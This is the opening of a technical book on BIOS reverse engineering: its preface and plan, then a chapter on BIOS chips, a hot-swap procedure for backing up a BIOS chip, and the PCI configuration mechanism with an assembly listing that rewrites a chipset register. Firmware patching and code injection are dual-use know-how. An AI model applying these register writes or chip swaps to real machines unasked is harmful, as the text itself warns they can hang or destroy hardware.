


Preface       
 
BIOS DISASSEMBLY NINJUTSU UNCOVERED – THE BOOK 

 
For many years, there has been a myth among computer enthusiasts and practitioners that 

PC BIOS (Basic Input Output System) modification is a kind of black art and only a handful of 
people can do it or only the motherboard vendor can carry out such a task.  On the contrary, this 
book will prove that with the right tools and approach, anyone can understand and modify the 
BIOS to suit their needs without the existence of its source code. It can be achieved by using a 
systematic approach to BIOS reverse engineering and modification. An advanced level of this 
modification technique is injecting a custom code to the BIOS binary. 

There are many reasons to carry out BIOS reverse engineering and modification, from the 
fun of doing it to achieve higher clock speed in overclocking scenario, patching certain bug, 
injecting a custom security code into the BIOS, up to commercial interest in the embedded x86 
BIOS market.  The emergence of embedded x86 platform as consumer electronic products such as 
TV set-top boxes, telecom-related appliances and embedded x86 kiosks have raised the interest in 
BIOS reverse engineering and modification. In the coming years, these techniques will become 
even more important as the state of the art bus protocols have delegate a lot of their initialization 
task to the firmware, i.e. the BIOS. Thus, by understanding the techniques, one can dig the 
relevant firmware codes and understand the implementation of those protocols within the BIOS 
binary. 

The main purpose of the BIOS is to initialize the system into execution environment 
suitable for the operating system. This task is getting more complex over the years, since x86 
hardware evolves quite significantly. It’s one of the most dynamic computing platform on earth. 
Introduction of new chipsets happens once in 3 or at least 6 month. This event introduces a new 
code base for the silicon support routine within the BIOS. Nevertheless, the overall architecture of 
the BIOS is changing very slowly and the basic principle of the code inside the BIOS is preserved 
over generations of its code. However, there has been a quite significant change in the BIOS scene 
in the last few years, with the introduction of EFI (extensible Firmware Interface) by several major 
hardware vendors and with the growth in OpenBIOS project. With these advances in BIOS 
technology, it’s even getting more important to know systematically what lays within the BIOS. 

In this book, the term BIOS has a much broader meaning than only motherboard BIOS, 
which is familiar to most of the reader. It also means the expansion ROM. The latter term is the 
official term used to refer to the firmware in the expansion cards within the PC, be it ISA, PCI or 
PCI Express. 

So, what can you expect after reading this book? Understanding the BIOS will open a 
new frontier. You will be able to grasp how exactly the PC hardware works in its lowest level. 
Understanding contemporary BIOS will reveal the implementation of the latest bus protocol 
technology, i.e. HyperTransport and PCI-Express. In the software engineering front, you will be 
able to appreciate the application of compression technology in the BIOS. The most important of 
all, you will be able to carry out reverse engineering using advanced techniques and tools. You 
will be able to use the powerful IDA Pro disassembler efficiently. Some reader with advanced 
knowledge in hardware and software might even want to “borrow” some of the algorithm within 
the BIOS for their own purposes.  In short, you will be on the same level as other BIOS code-
diggers. 

This book also presents a generic approach to PCI expansion ROM development using 
the widely available GNU tools. There will be no more myth in the BIOS and everyone will be 
able to learn from this state-of-the-art software technology for their own benefits. 

 
THE AUDIENCE 
 

This book is primarily oriented toward system programmers and computer security 
experts. In addition, electronic engineers, pc technicians and computer enthusiasts can also benefit 
a lot from this book. Furthermore, due to heavy explanation of applied computer architecture (x86 



architecture) and compression algorithm, computer science students might also find it useful. 
However, nothing prevents any people who is curious about BIOS technology to read this book 
and get benefit from it. 

Some prerequisite knowledge is needed to fully understand this book. It is not mandatory, 
but it will be very difficult to grasp some of the concepts without it. The most important 
knowledge is the understanding of x86 assembly language. Explanation of the disassembled code 
resulting from the BIOS binary and also the sample BIOS patches are  presented in x86 assembly 
language. They are scattered throughout the book. Thus, it’s vital to know x86 assembly language, 
even with very modest familiarity. It’s also assumed that the reader have some familiarity with C 
programming language. The chapter that dwell on expansion ROM development along with the 
introductory chapter in BIOS related software development uses C language heavily for the 
example code. C is also used heavily in the section that covers IDA Pro scripts and plugin 
development. IDA Pro scripts have many similarities with C programming language. Familiarity 
with Windows Application Programming Interface (Win32API) is not a requirement, but is very 
useful to grasp the concept in the Optional section of chapter 3 that covers IDA Pro plugin 
development. 

 
THE ORGANIZATION 
 

The first part of the book lays the foundation knowledge to do BIOS reverse engineering and 
Expansion ROM development. In this part, the reader is introduced with:  
a. Various bus protocols in use nowadays within the x86 platform, i.e. PCI, HyperTransport and 

PCI-Express. The focus is toward the relationship between BIOS code execution and the 
implementation of protocols. 

b. Reverse engineering tools and techniques needed to carry out the tasks in later chapter, mostly 
introduction to IDA Pro disassembler along with its advanced techniques. 

c. Crash course on advanced compiler tricks needed to develop firmware. The emphasis is in 
using GNU C compiler to develop a firmware framework. 
 
The second part of this book reveals the details of motherboard BIOS reverse engineering and 

modification. This includes indepth coverage of BIOS file structure, algorithms used within the 
BIOS, explanation of various BIOS specific tools from its corresponding vendor and explanation 
of tricks to perform BIOS modification. 

 
The third part of the book deals with the development of PCI expansion ROM. In this part, 

PCI Expansion ROM structure is explained thoroughly. Then, a systematic PCI expansion ROM 
development with GNU tools is presented. 

 
The fourth part of the book deals heavily with the security concerns within the BIOS. This 

part is biased toward possible implementation of rootkits within the BIOS and possible 
exploitation scenario that might be used by an attacker by exploiting the BIOS flaw.  Computer 
security experts will find a lot of important information in this part. This part is the central theme 
in this book. It’s presented to improve the awareness against malicious code that can be injected 
into BIOS. 

 
The fifth part of the book deals with the application of BIOS technology outside of its 

traditional space, i.e. the PC. In this chapter, the reader is presented with various application of the 
BIOS technology in the emerging embedded x86 platform. In the end of this part, further 
application of the technology presented in this book is explained briefly. Some explanation 
regarding the OpenBIOS and Extensible Firmware Interface (EFI) is also presented. 
 

SOFTWARE TOOLS COMPATIBILITY 
 

This book mainly deals with reverse engineering tools running in windows operating system. 
However, in chapters that deal with PCI Expansion ROM development, an x86 Linux installation 



is needed. This is due to the inherent problems that occurred with the windows port of the GNU 
tools when trying to generate a flat binary file from ELF file format.  
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Typographical Conventions 
 
In this book, the courier font is used to indicate that text is one of the following: 

1. Source code 
2. Numeric values 
3. Configuration file entries 
4. Directory/paths in the file system 
5. Datasheet snippets 
6. CPU registers 

 
Hexadecimal values are indicated by prefixing them with a 0x or by appending them with h. For 
example, the integer value 4691 will, in hexadecimal, look like 0x1253 or 1253h. Hexadecimal values 
larger than four digits will be accompanied by underscore every four consecutive hexadecimal digits to 
ease reading the value, as in 0xFFFF_0000 and 0xFD_FF00_0000. 
 
Binary values are indicated by appending them with b. For example, the integer value 5 will, in binary, 
look like 101b. 

 
Words will appear in the italic font, in this book, for following reasons: 

1. When defining a new term 
2. For emphasis 

 
Words will appear in the bold font, in this book, for the following reasons: 

3. When describing a menu within an application software in Windows 
4. A key press, e.g. CAPSLOCK, G, Shift, C, etc. 
5. For emphasis 

 



Part I The Basics 
 
Chapter 1 PC BIOS Technology 
 
 
PREVIEW 
 
 This chapter is devoted to explaining the parts of a PC that make up the term basic 
input/output system (BIOS). These are not only motherboard BIOS, which most readers 
might already be accustomed to, but also expansion read-only memories (ROMs). The 
BIOS is one of the key parts of a PC. BIOS provides the necessary execution environment 
for the operating system. The approach that I take to explain this theme follows the logic of 
the execution of BIOS subsystems inside the PC. It is one of the fastest ways to gain a 
systematic understanding of BIOS technology. In this journey, you will encounter answers 
to common questions: Why is it there? Why does it have to be accomplished that way? The 
discussion starts with the most important BIOS, motherboard BIOS. On top of that, this 
chapter explains contemporary bus protocol technology, i.e., PCI Express, HyperTransport, 
and peripheral component interconnect (PCI). A profound knowledge of bus protocol 
technology is needed to be able to understand most contemporary BIOS code. 
 
 
1.1. Motherboard BIOS 
 
 Motherboard BIOS is the most widely known BIOS from all kinds of BIOS. This 
term refers to the machine code that resides in a dedicated ROM chip on the motherboard. 
Today, most of these ROM chips are the members of flash-ROM family. This name refers 
to a ROM chip programmed1 electrically in a short interval, i.e., the programming takes 
only a couple of seconds. 
 There is a common misconception between the BIOS chip and the complementary 
metal oxide semiconductor (CMOS) chip. The former is the chip that's used to store the 
BIOS code, i.e., the machine code that will be executed when the processor executes the 
BIOS, and the latter is the chip that's used to store the BIOS parameters, i.e., the parameters 
that someone sets when entering the BIOS, such as the computer date and the RAM timing. 
Actually, CMOS chip is a misleading name. It is true that the chip is built upon CMOS 
technology. However, the purpose of the chip is to store BIOS information with the help of 
a dedicated battery. In that respect, it should’ve been called non-volatile random access 
memory (NVRAM) chip in order to represent the nature and purpose of the chip. 
Nonetheless, the CMOS chip term is used widely among PC users and hardware vendors. 

                                                 
 
1 Programmed in this context means being erased or written into. 
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Figure 1.1 Motherboard with a DIP-type BIOS chip 

 
Figure 1.2 Motherboard with a PLCC-type BIOS chip 
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 The widely employed chip packaging for BIOS ROM is PLCC2 (fig. 1.1) or DIP3 
(fig. 1.2). Modern-day motherboards mostly use the PLCC package type. The top marking 
on the BIOS chip often can be seen only after the BIOS vendor sticker, e.g., Award BIOS 
or AMI BIOS, is removed. The commonly used format is shown in figure 1.3. 
 

 
Figure 1.3 BIOS chip marking 

 

1. The vendor_name is the name of the chip vendor, such as Winbond, SST, or 
Atmel. 

2. The chip_number is the part number of the chip. Sometimes this part number 
includes the access time specification of the corresponding chip. 

3. The batch_number is the batch number of the chip. It is used to mark the batch 
in which the chip belonged when it came out of the factory. Some chips might 
have no batch number. 

 
 This chip marking is best explained by using an example (fig. 1.4). 
 

                                                 
 
2 Plastic lead chip carrier, one of the chip packaging technologies. 
3 Dual inline package, one of the chip packaging technologies. 
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Figure 1.4 BIOS chip marking example 

 
 In the marking in figure 1.4, the AT prefix means "made by Atmel," the part 
number is 29C020C, and 90PC means the chip has 90 ns of access time. Detailed 
information can be found by downloading and reading the datasheet of the chip from the 
vendor's website. The only information needed to obtain the datasheet is the part number. 
 It is important to understand the BIOS chip marking, especially the part number 
and the access time. The access time information is always specified in the corresponding 
chip datasheet. This information is needed when you intend to back up your BIOS chip 
with a chip from a different vendor. The access time and voltage level of both chips must 
match. Otherwise, the backup process will fail. The backup process can be carried out by 
hot swapping or by using specialized tools such as BIOS Saviour. Hot swapping is a 
dangerous procedure and is not recommended. Hot swapping can destroy the motherboard 
and possibly another component attached to the motherboard if it's not carried out carefully. 
However, if you are adventurous, you might want to try it in an old motherboard. The hot 
swapping steps are as follows: 
 

1. Prepare a BIOS chip with the same type as the one in the current motherboard to 
be used as the target, i.e., the new chip that will be flashed with the BIOS in the 
current motherboard. This chip will act as the BIOS backup chip. Remove any 
sticker that keeps you from seeing the type of your motherboard BIOS chip 
(usually the Award BIOS or AMI BIOS logo). This will void your motherboard 
warranty, so proceed at your own risk. The same type of chip here means a chip 
that has the same part number as the current chip. If one can't be found, you can 
try a compatible chip, i.e., a chip that has the same capacity, voltage level, and 
timing characteristic. Note that finding a compatible chip is not too hard. Often, 
the vendor of flash-ROMs provides flash-ROM cross-reference documentation in 
their website. This documentation lists the compatible flash-ROM from other 
vendors. Another way to find a compatible chip is to download datasheets from 
two different vendors with similar part numbers and compare their properties 
according to both datasheets. If the capacity, voltage level, and access time match, 
then the chip is compatible. For example, ATMEL AT29C020C is compatible 
with WINBOND W29C020C. 
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2. Prepare the BIOS flashing software in a diskette or in a file allocation table (FAT) 
formatted hard disk drive (HDD) partition. This software will be used to save 
BIOS binary from the original BIOS chip and to flash the binary into the backup 
chip. The BIOS flashing software is provided by the motherboard maker from its 
website, or sometimes it's shipped with the motherboard driver CD. 

3. Power off the system and unplug it from electrical source. Loosen the original 
BIOS chip from the motherboard. It can be accomplished by first removing the 
chip using a screwdriver or IC extractor from the motherboard and then 
reattaching it firmly. Ensure that the chip is not attached too tightly to the 
motherboard and it can be removed by hand later. Also, ensure that electrical 
contact between the IC and the motherboard is strong enough so that the system 
will be able to boot. 

4. Boot the system to the real-mode disk operating system (DOS). Beware that some 
motherboards may have a BIOS flash protection option in their BIOS setup. It has 
to be disabled before proceeding to the next step. 

5. Run the BIOS flashing software and follow its on-screen direction to save the 
original BIOS binary to a FAT partition in the HDD or to a diskette. 

6. After saving the original BIOS binary, carefully release the original BIOS chip 
from the motherboard. Note that this procedure is carried out with the computer 
still running in real-mode DOS. 

7. Attach the backup chip to the motherboard firmly. Ensure that the electrical 
contact between the chip and the motherboard is strong enough. 

8. Use the BIOS flashing software to flash the saved BIOS binary from the HDD 
partition or the diskette to the backup BIOS chip. 

9. Reboot the system and see whether it boots successfully. If it does, the hot 
swapping has been successful. 

 
 Hot swapping is not as dangerous as you might think for an experienced hardware 
hacker. Nevertheless, use of a specialized device such as BIOS Saviour for BIOS backup is 
bulletproof. 
 Anyway, you might ask, why would the motherboard need a BIOS? There are 
several answers to this seemingly simple question. First, system buses, such as PCI, PCI-X, 
PCI Express, and HyperTransport consume memory address space and input/output (I/O) 
address space. Devices that reside in these buses need to be initialized to a certain address 
range within the system memory or I/O address space before being used. Usually, the 
memory address ranges used by these devices are located above the address range used for 
system random access memory (RAM) addressing. The addressing scheme depends on the 
motherboard chipset. Hence, you must consult the chipset datasheet(s) and the 
corresponding bus protocol for details of the addressing mechanism. I will explain this 
issue in a later chapter that dwells on the bus protocol. 
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 Second, some components within the PC, such as RAM and the central processing 
unit (CPU) are running at the "undefined" clock speed4 just after the system is powered up. 
They must be initialized to some predefined clock speed. This is where the BIOS comes 
into play; it initializes the clock speed of those components. 
 The bus protocol influences the way the code inside the BIOS chip is executed, be 
it motherboard BIOS or other kinds of BIOS. Section 1.4 will delve into bus protocol 
fundamentals to clean up the issue. 
 
 
1.2. Expansion ROM 
 
 Expansion ROM5 is a kind of BIOS that's embedded inside a ROM chip mounted 
on an add-in card. Its purpose is to initialize the board in which it's soldered or socketed 
before operating system execution. Sometimes it is mounted into an old ISA add-in card, in 
which case it's called ISA expansion ROM. If it is mounted to a PCI add-in card, it's called 
PCI expansion ROM. In most cases, PCI or ISA expansion ROM is implanted inside an 
erasable or electrically erasable programmable read-only memory chip or a flash-ROM chip 
in the PCI or ISA add-in card. In certain cases, it's implemented as the motherboard BIOS 
component. Specifically, this is because of motherboard design that incorporates some 
onboard PCI chip, such as a redundant array of independent disks (RAID) controller, SCSI 
controller, or serial advanced technology attachment (ATA) controller. Note that expansion 
ROM implemented as a motherboard BIOS component is no different from expansion 
ROM implemented in a PCI or ISA add-in card. In most cases, the vendor of the 
corresponding PCI chip that needs chip-specific initialization provides expansion ROM 
binary. You are going to learn the process of creating such binary in part 3 of this book. 
 

                                                 
 
4 "Undefined" clock speed in this context means the power-on default clock speed. 
5 Expansion ROM is also called as option ROM in some articles and documentations. The terms are 
interchangeable. 
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Figure 1.5 PCI expansion ROM chip 

 
 Actually, there is some complication regarding PCI expansion ROM execution 
compared with ISA expansion ROM execution. ISA expansion ROM is executed in place,6 
and PCI expansion ROM is always copied to RAM and executed from there. This issue will 
be explained in depth in the chapter that covers the PCI expansion ROM. 
 
 
1.3. Other Firmware within the PC 
 
 It must be noted that motherboard and add-in cards are not the only ones that 
possess firmware. HDDs and CD-ROM drives also possess firmware. The firmware is used 
to control the physical devices within those drives and to communicate with the rest of the 
system. However, those kinds of firmware are not considered in this book. They are 
mentioned here just to ensure that you are aware of their existence. 
 
 
1.4. Bus Protocols Fundamentals 
 
 This section explains bus protocols used in a PC motherboard, namely PCI, PCI 
Express, and HyperTransport. These protocols are tightly coupled with the BIOS. In fact, 
the BIOS is part of the bus protocol implementation. The BIOS handles the initialization of 
the addressing scheme employed in these buses. The BIOS handles another protocol-
specific initialization. This section is not a thorough explanation of the bus protocols 

                                                 
 
6 Executed in place means executed from the ROM chip in the expansion card. 
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themselves; it is biased toward BIOS implementation-related issues, particularly the 
programming model employed in the respective bus protocol. 
 First, it delves into the system-wide addressing scheme in contemporary systems. 
This role is fulfilled by the chipset. Thus, a specific implementation is used as an example. 
 
1.4.1. System-wide Addressing 
 
 If you have never been playing around with system-level programming, you might 
find it hard to understand the organization of the overall physical memory address space in 
x86 architecture. It must be noted that RAM is not the only hardware that uses the 
processor memory address space; some other hardware is also mapped to the processor 
memory address space. This memory-mapped hardware includes PCI devices, PCI Express 
devices, HyperTransport devices, the advanced programmable interrupt controller (APIC), 
the video graphics array (VGA) device, and the BIOS ROM chip. It's the responsibility of 
the chipset to divide the x86 processor memory address space for RAM and other memory-
mapped hardware devices. Among the motherboard chipsets, the northbridge is responsible 
for this system address-space organization, particularly its memory controller part. The 
memory controller decides where to forward a read or write request from the CPU to a 
certain memory address. This operation can be forwarded to RAM, memory-mapped VGA 
RAM, or the southbridge; it depends on the system configuration. If the northbridge is 
embedded inside the CPU itself, like in the AMD Athlon 64/Opteron architecture, the CPU 
decides where to forward these requests. 
 The influence of the bus protocol employed in x86 architecture to the system 
address map is enormous. To appreciate this, analyze a sample implementation in the form 
of a PCI Express chipset, Intel 955X-ICH7(R). This chipset is used with Intel Pentium 4 
processors that support IA-32E and are capable of addressing RAM above the 4-GB limit. 
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Figure 1.6 Intel 955X-ICH7(R) system address map 

 
 Figure 1.6 shows that memory address space above the physical RAM is used for 
PCI devices, APIC, and BIOS flash-ROM. In addition, there are two areas of physical 
memory address space used by the RAM, i.e., below and above the 4-GB limit. This 
division is the result of the 4-GB limit of 32-bit addressing mode of x86 processors. Note 
that PCI Express devices are mapped to the same memory address range as PCI devices but 
they can't overlap each other. Several hundred kilobytes of the RAM address range is not 
addressable because its address space is consumed by other memory-mapped hardware 
devices, though this particular area may be available through system management mode 
(SMM). This is because of the need to maintain compatibility with DOS. In the DOS days, 
several areas of memory below 1 MB (10_0000h) were used to map hardware devices, 
such as the video card buffer and BIOS ROM. The "BARs" mentioned in figure 1.6 are an 
abbreviation for base address registers. These will be explained in a later section. 
 The system address map in figure 1.6 shows that the BIOS chip is mapped to two 
different address ranges, i.e., 4GB_minus_BIOS_chip_size to 4 GB and E_0000h to 
F_FFFFh. The former BIOS flash-ROM address range varies from chipset to chipset, 
depending on the maximum BIOS chip size supported by the chipset. This holds true for 
every chipset and must be taken into account when I delve into the BIOS code in later 
chapters. The latter address range mapping is supported in most contemporary chipsets. 
This 128-KB range (E_0000h–F_FFFFh) is an alias to the topmost 128-KB address range 
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in the BIOS chip. Chipsets based on a different bus protocol, such as HyperTransport or the 
older chipsets based on PCI, also employ mapping of physical memory address space 
similar to that described here. It has to be done that way to maintain compatibility with the 
current BIOS code from different vendors and to maintain compatibility with legacy 
software. Actually, there are cost savings in employing this addressing scheme; the base 
code for the BIOS from all BIOS vendors (AMI, Award Phoenix, etc.) need not be changed 
or only needs to undergo minor changes. 
 
 
1.4.2. PCI Bus Protocol 
 
 The PCI bus is a high-performance 32-bit or 64-bit parallel bus with multiplexed 
address and data lines. The bus is intended for use as an interconnect mechanism between 
highly integrated peripheral controller components, peripheral add-in cards, and processor 
or memory systems. It is the most widely used bus in PC motherboard design since the 
mid-1990s. It's only recently that this bus system has been replaced by newer serial bus 
protocols, i.e., PCI Express and HyperTransport. The PCI Special Interest Group is the 
board that maintains the official PCI bus standard. 
 PCI supports up to 256 buses in one system, with every bus supporting up to 32 
devices and every device supporting up to eight functions. The PCI protocol defines the so-
called PCI-to-PCI bridges that connect two different PCI bus segments. This bridge 
forwards PCI transactions from one bus to the neighboring bus segment. Apart from 
extending the bus topology, the presence of PCI-to-PCI bridges is needed due to an 
electrical loading issue. The PCI protocol uses reflected-wave signaling that only enables 
around 10 onboard devices per bus or only five PCI connectors per bus. PCI connectors are 
used for PCI expansion cards, and they account for two electrical loads, one for the 
connector itself and one for the expansion card inserted into the connector. 
 The most important issue to know in PCI bus protocol with regard to BIOS 
technology is its programming model and configuration mechanism. This theme is covered 
in chapter 6 of the official PCI specification, versions 2.3 and 3.0. It will be presented with 
in-depth coverage in this section. 
 The PCI bus configuration mechanism is accomplished by defining 256-byte 
registers called configuration space in each logical PCI device function. Note that each 
physical PCI device can contain more than one logical PCI device and each logical device 
can contain more than one function. The PCI bus protocol doesn't specify a single 
mechanism used to access this configuration space for PCI devices in all processor 
architectures; on the contrary, each processor architecture has its own mechanism to access 
the PCI configuration space. Some processor architectures map this configuration space 
into their memory address space (memory mapped), and others map this configuration 
space into their I/O address space (I/O mapped). Figure 1.7 shows a typical PCI 
configuration space organization for PCI devices that's not a PCI-to-PCI bridge. 
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Figure 1.7 PCI configuration space registers for a non-PCI-to-PCI bridge device 

 
 The PCI configuration space in x86 architecture is mapped into the processor I/O 
address space. The I/O port addresses 0xCF8–0xCFB act as the configuration address port 
and I/O ports 0xCFC–0xCFF act as the configuration data port. These ports are used to 
configure the corresponding PCI chip, i.e., reading or writing the PCI chip configuration 
register values. It must be noted that the motherboard chipset itself, be it northbridge or 
southbridge, is a PCI chip. Thus, the PCI configuration mechanism is employed to 
configure these chips. In most cases, these chips are a combination of several PCI functions 
or devices; the northbridge contains the host bridge, PCI–PCI bridge (PCI–accelerated 
graphics port bridge), etc., and the southbridge contains the integrated drive electronics 
controller, low pin count (LPC) bridge, etc. The PCI–PCI bridge is defined to address the 
electrical loading issue that plagues the physical PCI bus. In addition, recent bus 
architecture uses it as a logical means to connect different chips, meaning it's used to travel 
the bus topology and to configure the overall bus system. The typical configuration space 
register for a PCI–PCI bridge is shown in figure 1.8 
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Figure 1.8 PCI configuration space registers for a PCI-to-PCI bridge device 

 
 Since the PCI bus is a 32-bit bus, communicating using this bus should be in 32-bit 
addressing mode. Writing or reading to this bus will require 32-bit addresses. Note that a 
64-bit PCI bus is implemented by using dual address cycle, i.e., two address cycles are 
needed to access the address space of 64-bit PCI device(s). Communicating with the PCI 
configuration space in x86 is accomplished with the following algorithm (from the host or 
CPU point of view): 
 

1. Write the target bus number, device number, function number, and offset or 
register number to the configuration address port (I/O ports 0xCF8–0xCFB) and set 
the enable bit in it to one. In plain English: Write the address of the register that 
will be read or written into the PCI address port. 

2. Perform a 1-byte, 2-byte, or 4-byte I/O read from or write to the configuration data 
port (I/O port 0xCFC–0xCFF). In plain English: Read or write the data into the PCI 
data port. 

 
 With the preceding algorithm, you'll need an x86 assembly code snippet that 
shows how to use those configuration ports. 
 

Listing 1.1 PCI Configuration Read and Write Routine Sample 

; Mnemonic is in MASM syntax 
  pushad       ; Save all contents of general-purpose registers. 
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  mov eax,80000064h  ; Put the address of the PCI chip register to be 
                     ; accessed in eax (offset 64 device 00:00:00 or 
                     ; host bridge/northbridge). 
 
  mov dx,0CF8h       ; Put the address port in dx. Since this is PCI, 
                     ; use 0xCF8 as the port to open access to 
                     ; the device. 
  out dx,eax         ; Send the PCI address port to the I/O space of 
                     ; the processor. 
 
  mov dx,0CFCh       ; Put the data port in dx. Since this is PCI, 
                     ; use 0xCFC as the data port to communicate with 
                     ; the device. 
 
  in eax,dx          ; Put the data read from the device in eax. 
 
  or eax, 00020202   ; Modify the data (this is only an example; don't 
                     ; try this in your machine, it may hang or 
                     ; even destroy your machine). 
 
  out dx,eax         ; Send it back 
 
  ; ...              ; your routine here. 
 
  popad              ; Restore all the saved register. 
 
  ret                ; Return to the calling procedure. 
 
 This code snippet is a procedure that I injected into the BIOS of a motherboard 
based on a VIA 693A-596B PCI chipset to patch its memory controller configuration a few 
years ago. The code is clear enough; in line 1 the current data in the processor's general-
purpose registers were saved. Then comes the crucial part, as I said earlier: PCI is a 32-bit 
bus system; hence, you have to use 32-bit addresses to communicate with the system. You 
do this by sending the PCI chip a 32-bit address through eax register and using port 0xCF8 
as the port to send this data. Here's an example of the PCI register (sometimes called the 
offset) address format. In the routine in listing 1.1, you see the following: 
 
... 
mov eax,80000064h 
... 
 
 The 80000064h is the address. The meanings of these bits are as follows: 
 

Bit Position 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 
Binary Value 0 0 0 0 0 0 0 0 0 1 1 0 0 1 0 0 
Hexadecimal 
Value 0 0 6 4 

Figure 1.9 PCI configuration address sample (low word) 
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Bit 
Position 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 

Binary 
Value 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 

Hexa-
decimal 
Value 

8 0 0 0 

Figure 1.10 PCI configuration address sample (high word) 

 

Bit Position Meaning 

31 

This is an enable bit. Setting this bit to one will grant a write or read 
transaction through the PCI bus; otherwise, the transaction is not a valid 
configuration space access and it is ignored. That's why you need an 8 
(8h) in the leftmost hex digit. 

24–30 Reserved bits 
16–23  PCI bus number 
11–15  PCI device number 
8–10 PCI function number 
2–7 Offset address (double word or 32-bit boundary) 
0–1 Unused, since the addressing must be in the 32-bit boundary 

Table 1.1 PCI register addressing explanation 

 
 Now, examine the previous value that was sent. If you are curious, you'll find that 
80000064h means communicating with the device in bus 0, device 0, function 0, and offset 
64. This is the memory controller configuration register of the VIA 693A northbridge. In 
most circumstances, the PCI device that occupies bus 0, device 0, function 0 is the host 
bridge. However, you need to consult the chipset datasheet to verify this. The next routines 
are easy to understand. If you still feel confused, I suggest that you learn a bit more of x86 
assembly language. In general, the code does the following: it reads the offset data, 
modifies it, and writes it back to the device. 
 The configuration space of every PCI device contains device-specific registers 
used to configure the device. Some registers within the 256-bytes configuration space 
possibly are not implemented and simply return 0xFF on PCI configuration read cycles. 
 As you know, the amount of RAM can vary among systems. How can PCI devices 
handle this problem? How are they relocated to different addresses as needed? The answer 
lays in the PCI configuration space registers. Recall from figures 1.7 and 1.8 that the 
predefined configuration header contains a so-called BAR. These registers are responsible 
for PCI devices addressing. A BAR contains the starting address within the memory or I/O 
address space that will be used by the corresponding PCI device during its operation. The 
BAR contents can be read from and written into, i.e., they are programmable using 
software. It's the responsibility of the BIOS to initialize the BAR of every PCI device to the 
right value during boot time. The value must be unique and must not collide with the 
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memory or I/O address that's used by another device or the RAM. Bit 0 in all BARs is read 
only and is used to determine whether the BARs map to the memory or I/O address space. 

 
Figure 1.11 Format of BAR that maps to memory space 

 

 
Figure 1.12 Format of BAR that maps to I/O space 

 
 Note that 64-bit PCI devices are implemented by using two consecutive BARs and 
can only map to the memory address space. A single PCI device can implement several 
BARs to be mapped to memory space while the remaining BAR is mapped to I/O space. 
This shows that the presence of BAR enables any PCI device to be relocatable within the 
system-wide memory and I/O address space. 
 How can BIOS initialize the address space usage of a single PCI device, since 
BAR only contains the lower limit of the address space that will be used by the device? 
How does the BIOS know how much address space will be needed by a PCI device? BAR 
contains programmable bits and bits hardwired to zero. The programmable bits are the 
most significant bits, and the hardwired bits are the least significant bits. The 
implementation note taken from PCI specification version 2.3 is as follows: 
 

Implementation Note: Sizing a 32-bit Base Address Register 
Example 
 
Decode (I/O or memory) of a register is disabled via the command register 
before sizing a Base Address register. Software saves the original value of 
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the Base Address register, writes 0FFFFFFFFh to the register, then reads it 
back. Size calculation can be done from the 32-bit value read by first 
clearing encoding information bits (bit 0 for I/O, bits 0–3 for memory), 
inverting all 32 bits (logical NOT), then incrementing by 1. The resultant 32-
bit value is the memory–I/O range size decoded by the register. Note that 
the upper 16 bits of the result are ignored if the Base Address register is for 
I/O and bits 16–31 returned zero upon read. The original value in the Base 
Address register is restored before reenabling decode in the command 
register of the device. 
  
64-bit (memory) Base Address registers can be handled the same, except 
that the second 32-bit register is considered an extension of the first; i.e., 
bits 32–63. Software writes 0FFFFFFFFh to both registers, reads them back, 
and combines the result into a 64-bit value. Size calculation is done on the 
64-bit value. 

 
 It's clear from the preceding implementation note that the BIOS can "interrogate" 
the PCI device to know the address space consumption of a PCI device. Upon knowing this 
information, BIOS can program the BAR to an unused address within the processor address 
space. Then, with the consumption information for the address space, the BIOS can 
program the next BAR to be placed in the next unused address space above the previous 
BAR address. The latter BAR must be located at least in the address that's calculated with 
the following formula: 
 
next_BAR = previous_BAR + previous_BAR_address_space_consumption + 1 
 
 However, it's valid to program the BAR above the address calculated with the 
preceding formula. With these, the whole system address map will be functioning 
flawlessly. This relocatable element is one of the key properties that the PCI device brings 
to the table to eliminate the address space collision that once was the nightmare of ISA 
devices. 
 
 
1.4.3. Proprietary Interchipset Protocol Technology 
 
 Motherboard chipset vendors have developed their own proprietary interchipset 
protocol between the northbridge and the southbridge in these last few years, such as VIA 
with V-Link, SiS with MuTIOL, and Intel with hub interface (HI). These protocols are only 
an interim solution to the bandwidth problem between the peripherals that reside in the 
PCI expansion slots, on-board PCI chips, and the main memory, i.e., system RAM. With the 
presence of newer and faster bus protocols such as PCI Express and HyperTransport in the 
market, these interim solutions are rapidly being phased out. However, reviewing them is 
important to clean up issues that might plague you once you discover the problem of 
understanding how it fits to the BIOS scene. 
 These proprietary protocols are transparent from configuration and initialization 
standpoints. They do not come up with something new. All are employing a PCI 
configuration mechanism to configure PCI compliant devices connected to the northbridge 
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and southbridge. The interchipset link in most cases is viewed as a bus connecting the 
northbridge and the southbridge. This “protocol transparency” is needed to minimize the 
effect of the protocol on the investment needed to implement it. As an example, the Intel 
865PE-ICH5 chipset mentioned this property clearly in the i865PE datasheet, as follows: 
 

In some previous chipsets, the "MCH" and the "I/O Controller Hub (ICHx)" 
were physically connected by PCI bus 0. From a configuration standpoint, 
both components appeared to be on PCI bus 0, which was also the system's 
primary PCI expansion bus. The MCH contained two PCI devices while the 
ICHx was considered one PCI device with multiple functions. 
In the 865PE/865P chipset platform the configuration structure is 
significantly different. The MCH and the ICH5 are physically connected by 
the hub interface, so, from a configuration standpoint, the hub interface is 
logically PCI bus 0. As a result, all devices internal to the MCH and ICHx 
appear to be on PCI bus 0. The system's primary PCI expansion bus is 
physically attached to the ICH5 and, from a configuration perspective, 
appears to be a hierarchical PCI bus behind a PCI-to-PCI bridge; therefore, 
it has a programmable PCI Bus number. Note that the primary PCI bus is 
referred to as PCI_A in this document and is not PCI bus 0 from a 
configuration standpoint. The AGP [accelerated graphics port] appears to 
system software to be a real PCI bus behind PCI-to-PCI bridges resident as 
devices on PCI bus 0. 
The MCH contains four PCI devices within a single physical component. 

 
 Further information regarding these protocols can be found in the corresponding 
chipset datasheets. Perhaps, some chipset's datasheet does not mention this property clearly. 
Nevertheless, by analogy, you can conclude that those chipsets must have adhered to the 
same principle. 
 
 
1.4.4. PCI Express Bus Protocol 
 
 The PCI Express protocol supports the PCI configuration mechanism explained in 
the previous subsection. Thus, in PCI Express–based systems, the PCI configuration 
mechanism is still used. In most cases, to enable the new PCI Express–enhanced 
configuration mechanism, the BIOS has to initialize some critical PCI Express registers by 
using the PCI configuration mechanism before proceeding to use the PCI Express–
enhanced configuration mechanism. It's necessary because the new PCI Express–enhanced 
